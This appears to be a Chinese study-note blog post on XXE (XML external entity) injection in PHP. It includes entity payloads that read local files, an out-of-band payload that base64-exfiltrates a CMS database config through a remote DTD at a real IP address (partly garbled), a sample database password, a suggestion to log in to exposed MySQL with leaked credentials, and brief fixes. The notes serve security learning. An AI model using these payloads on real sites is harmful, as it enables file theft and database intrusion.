当前位置: 首页 > news >正文

XXE - 实体注入(xml外部实体注入)

XXE的危害和SSRF有点像

XXE = XML外部实体注入 (被各种后端脚本调用)
=>XML(存数据不会做任何事情)(像html|传输数据|无预定义)
=>外部实体()
=>注入 [用户输入的数据被当做代码进行执行]

    预定义:(预先定义好的东西)
var_dump() 查看数据类型?
eval() 可以命令执行?
echo 他可以输出?

    前端代码:
<b></b> 加粗
<h1></h1> 大标题
XML:
<b></b> 名字而已
<h1></h1>

    XML:是一个纯文本 存储信息(可以自己发明标签)
<?xml version="1.0"?>   1.0版本
DTD(通过特殊的命令去其他文件读取信息)
SYSTEM
XML部分


引用(1.txt) 包含(include)  目的处理代码冗余
mysqli_connect();
mysqli_query();
mysqli_close();


危害:
XXE 可以通过dtd去读取、访问其他文件或者网站

    实体 => 变量  调用变量&实体名;
<!DOCTYPE scan [
<!ENTITY test SYSTEM "file:///c:/1.txt">]>  DTD部分
将c的1.txt文件放入test中
<scan>&test;</scan>  XML部分

    simplexml_load_string()  // 读取字符串当作xml执行
simplexml_load_file() // 读取文件当作 xml执行

<?php     $test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';      $obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);     print_r($obj);     ?>

变量test里面是XML 然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件

    XSS平台:    
你打XSS到目标站点 -> 有人访问后把数据传到平台 -> 记录下来,等你来看

    XML: 请求一个你自己搭建的php文件,其他的文件。(你想要的数据给带出来)
php文件记录请求的传参内容(记录文件)
等你去看就可以了

    没有回显,外带出来:
1、获取信息
2、发送信息

        file:/// 正常情况下,网站不应该使用的协议


PHP伪协议(PHP的内部协议)
php://filter/read=convert.base64-encode/resource=a.txt


如何寻找XXE:
1、看到数据包莫名其妙传递、返回XML代码可以试试
2、代码审计

    代码审计:
1、静态审计(纯看)
2、动态审计(网站运行起来,然后通过一些特殊手法,去追踪具体的代码流程)
3、小技巧:依靠静态看代码,然后不用动态调试软件,直接修改源码进行动态调试

有些代码会被引用几百次 如何确定这段是否实现 加入相关语句 看页面回显 有回显就是执行了 没有回显就是没执行

    静态:
1、全文通读(可拿bluecms练习)
2、危险函数定位 eval()  mysqli_query(

    $GLOBALS['HTTP_RAW_POST_DATA'] => 获取POST原始数据 (form表单)

<?xml:version="1.0">
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy
scms/conn/conn.php
">
8 remote SYsTEM "http://59.63.200.79:8014/xxe/1.xml">
<!ENTITY
&remote;
&send;

]>

使用时更改红色就对路径

有的网站可能开了3306 远程数据库连接 即可用xml实体漏洞爆出的密码连接
<?php
error_reporting(E_ALL ^ E_NOTICE); 
header("content-type:text/html;charset=utf-8");
session_start();
$conn = mysqli_connect("192.168.0.10","xxe", "teiwo!8#7ERe1DPC", "scms");

    md5 => 明文能转密文 密文不能转明文  (e99d2e51cbefe75251f1d40821e07a32)

1.48
修复XXE:
1、libxml_disable_entity_loader(true);  PHP的(禁止加载XML实体)
2、过滤SYSTEM关键字

    总结:
1、XXE => XML外部实体注入 (目标执行了我们提交的XML代码)
2、XXE代码层(套)
3、危害 => SSRF 差不多
4、回显问题 => 2步走的方法外带出来
5、如何找这个漏洞(1、看到传参或者返回包出现xml 2、代码审计)
6、代码审计(动态、静态[全文、危险函数]、小技巧)
7、seay工具(全文搜索,定位函数)
8、本地测试,最好可以开一个全新环境,以免出问题
9、以前存在的漏洞,去看了之后可以尝试去找新的漏洞(查看补丁)

http://www.dtcms.com/a/418948.html

相关文章:

  • MySQL查询性能优化核心知识点总结
  • 自然语言处理(03)
  • 哈尔滨速成网站建设公司装修费用会计分录
  • 做网站亏本太原市城乡建设局网站
  • 基于本地运行的OCR在特别场景的应用
  • 网站被host重定向wordpress图像居中
  • 十大AI驱动的网络安全解决方案对比分析
  • 09.【Linux系统编程】“文件“读写操作,Linux下一切皆文件!
  • SkyVLN: 城市环境中无人机的视觉语言导航和 NMPC 控制;香港科技大学
  • 【React 状态管理深度解析:Object.is()、Hook 机制与 Vue 对比实践指南】
  • react-lottie动画组件封装
  • 哈尔滨网站建设吕新松做搜索引擎网站
  • PostgreSQL 流复制参数 - synchronous_commit
  • BPEL:企业流程自动化的幕后指挥家
  • 企业网站开发一薇设计说明英语翻译
  • 搭建 Nexus3 私服并配置第三方 Maven 仓库(阿里云等)和优先级
  • JVM 深入研究 -- 详解class 文件
  • Apache Airflow漏洞致敏感信息泄露:只读用户可获取机密数据
  • 第十六周-基本量子3
  • 手机微网站怎么制作缪斯国际设计董事长
  • 在 Spring Cloud Gateway 中实现跨域(CORS)的两种主要方式
  • SQL Server从入门到项目实践(超值版)读书笔记 27
  • 【Git】项目管理全解
  • rdm响应式网站开发企业年报网上申报流程
  • 昆山开发区网站制作网站建设文档模板
  • PySide6调用OpenAI的Whisper模型进行语音ASR转写
  • 网站怎么被黑磁力蜘蛛
  • nginx反向代理和负载均衡
  • 外贸seo外贸推广外贸网站建设外贸网站建设网站域名信息查询
  • 新广告法 做网站的python和c++学哪个好